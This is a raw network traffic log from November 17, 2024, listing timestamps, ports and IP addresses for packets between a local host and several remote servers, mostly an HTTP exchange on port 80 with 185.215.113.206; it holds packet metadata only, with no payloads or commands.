Nov 17, 2024 22:20:53.075931072 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.075939894 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.075956106 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.075965881 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.075973988 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.075985909 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.075998068 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.076010942 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.076750994 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.076778889 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.076802015 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.076802015 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.076817989 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.076883078 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077088118 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077112913 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077127934 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077136993 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077145100 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077156067 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077174902 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077187061 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077248096 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077264071 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077279091 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077290058 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077295065 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077311993 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077311993 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077322006 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077328920 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077339888 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077347994 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077357054 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077363968 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077374935 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077388048 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077393055 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077404976 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077419043 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077436924 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077461004 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077476978 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077493906 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077501059 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077511072 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077527046 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077528954 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077539921 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077543974 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077553988 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077562094 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077570915 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077579975 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077585936 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077600956 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077605009 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077630997 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077650070 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077727079 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077743053 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077759027 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077766895 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077775955 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077785015 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077794075 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077804089 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077811003 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077812910 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077827930 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.077831984 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077841043 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077862978 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.077866077 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.078067064 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.078166008 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.078181982 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.078210115 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.078221083 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.078224897 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.078274965 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.079441071 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.079468966 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.079484940 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.079495907 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.079510927 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.079533100 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.079571962 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.079587936 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.079605103 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.079613924 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.079623938 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.079632044 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.079646111 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.079659939 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.079688072 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.079704046 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.079719067 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.079735994 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.079735994 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.079752922 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.079756021 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.079768896 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.079785109 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.079787016 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.079803944 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.079806089 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.079827070 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.079828024 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.079834938 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.079849958 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.079871893 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.079876900 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.079888105 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.079893112 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.079920053 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.079941034 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.143944979 CET	443	60908	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:53.143975973 CET	443	60908	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:53.144025087 CET	60908	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:53.144038916 CET	443	60908	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:53.144073963 CET	443	60908	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:53.144074917 CET	60908	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:53.144093037 CET	60908	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:53.144099951 CET	443	60908	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:53.144124985 CET	60908	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:53.154591084 CET	443	60913	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.154659033 CET	443	60913	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.154809952 CET	60913	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.155015945 CET	60913	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.155028105 CET	443	60913	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.155039072 CET	60913	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.155044079 CET	443	60913	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.158387899 CET	60921	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.158493042 CET	443	60921	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.158595085 CET	60921	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.158787012 CET	60921	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.158823013 CET	443	60921	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.168601036 CET	443	60914	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.168626070 CET	443	60914	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.168705940 CET	443	60914	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.168801069 CET	60914	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.169033051 CET	60914	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.169033051 CET	60914	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.169033051 CET	60914	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.172255993 CET	60922	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.172288895 CET	443	60922	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.172535896 CET	60922	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.172744036 CET	60922	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.172758102 CET	443	60922	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.180027008 CET	443	60902	40.79.150.121	192.168.2.7
Nov 17, 2024 22:20:53.180743933 CET	60902	443	192.168.2.7	40.79.150.121
Nov 17, 2024 22:20:53.180809021 CET	443	60902	40.79.150.121	192.168.2.7
Nov 17, 2024 22:20:53.180951118 CET	443	60902	40.79.150.121	192.168.2.7
Nov 17, 2024 22:20:53.180958033 CET	60902	443	192.168.2.7	40.79.150.121
Nov 17, 2024 22:20:53.180998087 CET	60902	443	192.168.2.7	40.79.150.121
Nov 17, 2024 22:20:53.185259104 CET	60908	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:53.191473961 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.191489935 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.191494942 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.191565990 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.191859007 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.191875935 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.191884995 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.191895008 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.191915035 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.191941977 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.191945076 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.191952944 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.191968918 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.191979885 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192002058 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.192028046 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192029953 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.192037106 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192045927 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192053080 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192070007 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192075014 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.192078114 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192097902 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192106009 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.192106009 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192116022 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192123890 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192133904 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.192158937 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.192186117 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.192192078 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192200899 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192215919 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192224979 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192240953 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192248106 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.192249060 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192266941 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192269087 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.192276955 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192291975 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.192293882 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192302942 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192317963 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192317963 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.192327976 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192339897 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.192362070 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.192435980 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192445040 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192461967 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192470074 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192497015 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192501068 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.192506075 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192523956 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192528963 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192536116 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.192554951 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.192562103 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.192565918 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192574978 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192590952 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192600965 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.192616940 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.192641973 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.193536043 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.193662882 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.193687916 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.193696022 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.193703890 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.193713903 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.193739891 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.193766117 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.193856955 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.193866014 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.193881989 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.193890095 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.193898916 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.193912983 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.193921089 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.193922997 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.193929911 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.193938971 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.193948984 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.193959951 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.193972111 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.193975925 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.193977118 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.193993092 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.193994999 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.194027901 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.194034100 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.194072962 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.194081068 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.194088936 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.194096088 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.194103956 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.194123030 CET	443	60915	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.194127083 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.194154978 CET	443	60915	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.194161892 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.194171906 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.194180012 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.194194078 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.194200993 CET	443	60915	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.194201946 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.194210052 CET	60915	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.194210052 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.194235086 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.194257021 CET	60915	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.194257975 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.194318056 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.194327116 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.194343090 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.194350004 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.194370985 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.194384098 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.194410086 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.194475889 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.194483995 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.194490910 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.194499016 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.194519043 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.194525957 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.194530010 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.194539070 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.194545031 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.194545031 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.194576025 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.194587946 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.194837093 CET	60915	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.194848061 CET	443	60915	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.194856882 CET	60915	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.194863081 CET	443	60915	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.195586920 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.195617914 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.195641994 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.195679903 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.195693970 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.195694923 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.195703983 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.195719004 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.195725918 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.195732117 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.195750952 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.195771933 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.195950985 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.196000099 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.196029902 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.196038961 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.196074009 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.196077108 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.196084976 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.196094036 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.196101904 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.196126938 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.196149111 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.196171999 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.196180105 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.196196079 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.196204901 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.196223974 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.196250916 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.196315050 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.196322918 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.196338892 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.196346045 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.196362972 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.196367979 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.196393013 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.196422100 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.198211908 CET	60923	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.198237896 CET	443	60923	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.198313951 CET	60923	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.198443890 CET	60923	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.198470116 CET	443	60923	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.215296984 CET	443	60916	3.168.24.65	192.168.2.7
Nov 17, 2024 22:20:53.215574980 CET	60916	443	192.168.2.7	3.168.24.65
Nov 17, 2024 22:20:53.215625048 CET	443	60916	3.168.24.65	192.168.2.7
Nov 17, 2024 22:20:53.215960979 CET	443	60916	3.168.24.65	192.168.2.7
Nov 17, 2024 22:20:53.216274023 CET	60916	443	192.168.2.7	3.168.24.65
